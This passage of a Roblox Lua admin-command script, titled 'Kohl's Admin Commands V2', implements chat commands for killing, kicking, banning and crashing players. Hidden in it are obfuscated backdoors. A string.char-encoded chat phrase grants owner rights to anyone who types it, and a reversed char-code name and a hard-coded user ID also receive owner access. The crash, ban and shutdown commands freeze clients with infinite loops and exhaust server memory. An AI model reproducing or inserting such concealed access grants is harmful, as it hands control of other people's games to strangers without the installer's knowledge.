if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2185
2186
if msg:lower() == "logs" then
2187
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2188
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2189
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2190
end
2191
	
2192
if msg:lower():sub(1,9) == "loopkill " then
2193
local chk1 = msg:lower():sub(10):find(" ")
2194
local plrz = GetPlr(plr, msg:lower():sub(10))
2195
local num = 9999
2196
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
2197
for i, v in pairs(plrz) do
2198
if v and not ChkAdmin(v.Name, false) then
2199
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2200
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2201
for i = 1, ]] .. tostring(num) .. [[ do 
2202
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2203
coroutine.resume(coroutine.create(function()
2204
if plr and plr.Character then plr.Character:BreakJoints() end
2205
end))
2206
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2207
end
2208
end
2209
end
2210
2211
if msg:lower():sub(1,11) == "unloopkill " then
2212
local plrz = GetPlr(plr, msg:lower():sub(12))
2213
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2214
end
2215
2216
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
2217
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
2218
2219
if msg:lower():sub(1,3) == "sm " then
2220
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2221
end
2222
2223
if msg:lower():sub(1,3) == "ko " then
2224
local chk1 = msg:lower():sub(4):find(" ") + 3
2225
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2226
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2227
for n = 1, num do
2228
for i, v in pairs(plrz) do
2229
coroutine.resume(coroutine.create(function()
2230
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then 
2231
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2232
v.Character:BreakJoints() 
2233
wait(1/44) 
2234
v:LoadCharacter()
2235
wait(1/44) 
2236
end
2237
end))
2238
end
2239
end
2240
end
2241
2242
if msg:lower():sub(1,6) == "crash " then
2243
local plrz = GetPlr(plr, msg:lower():sub(7))
2244
for i, v in pairs(plrz) do
2245
coroutine.resume(coroutine.create(function()
2246
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2247
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
2248
end
2249
end))
2250
end
2251
end
2252
2253
if msg:lower():sub(1,5) == "kick " then
2254
local plrz = GetPlr(plr, msg:lower():sub(6))
2255
for i, v in pairs(plrz) do
2256
coroutine.resume(coroutine.create(function()
2257
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2258
end))
2259
end
2260
end
2261
2262
if msg:lower():sub(1,6) == "admin " then
2263
local plrz = GetPlr(plr, msg:lower():sub(7))
2264
for i, v in pairs(plrz) do
2265
coroutine.resume(coroutine.create(function()
2266
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2267
end))
2268
end
2269
end
2270
2271
if msg:lower():sub(1,8) == "unadmin " then
2272
for i = 1, #tempadmins do
2273
coroutine.resume(coroutine.create(function()
2274
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
2275
end))
2276
end
2277
end
2278
2279
if msg:lower():sub(1,4) == "ban " then
2280
local plrz = GetPlr(plr, msg:lower():sub(5))
2281
for i, v in pairs(plrz) do
2282
coroutine.resume(coroutine.create(function()
2283
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2284
end))
2285
end
2286
end
2287
2288
if msg:lower():sub(1,6) == "unban " then
2289
for i = 1, #banland do
2290
coroutine.resume(coroutine.create(function()
2291
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
2292
end))
2293
end
2294
end
2295
2296
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
2297
2298
end
2299
end))
2300
end
2301
2302
function AdminControl(plr)
2303
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2304
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
2305
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2306
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2307
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
2308
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2309
end)) end
2310
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2311
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
2312
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2313
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2314
plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
2315
end
2316
2317
if not ntab then script:Destroy() end
2318
if not bct then script:Destroy() end
2319
2320
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2321
2322
script.Name = "Kohl's Admin Commands V2"
2323
2324
if not ntab then script:Destroy() end
2325
if not bct then script:Destroy() end
2326
if not tcb then script:Destroy() end
2327
game.Players.PlayerAdded:connect(AdminControl)
2328
for i, v in pairs(game.Players:children()) do AdminControl(v) end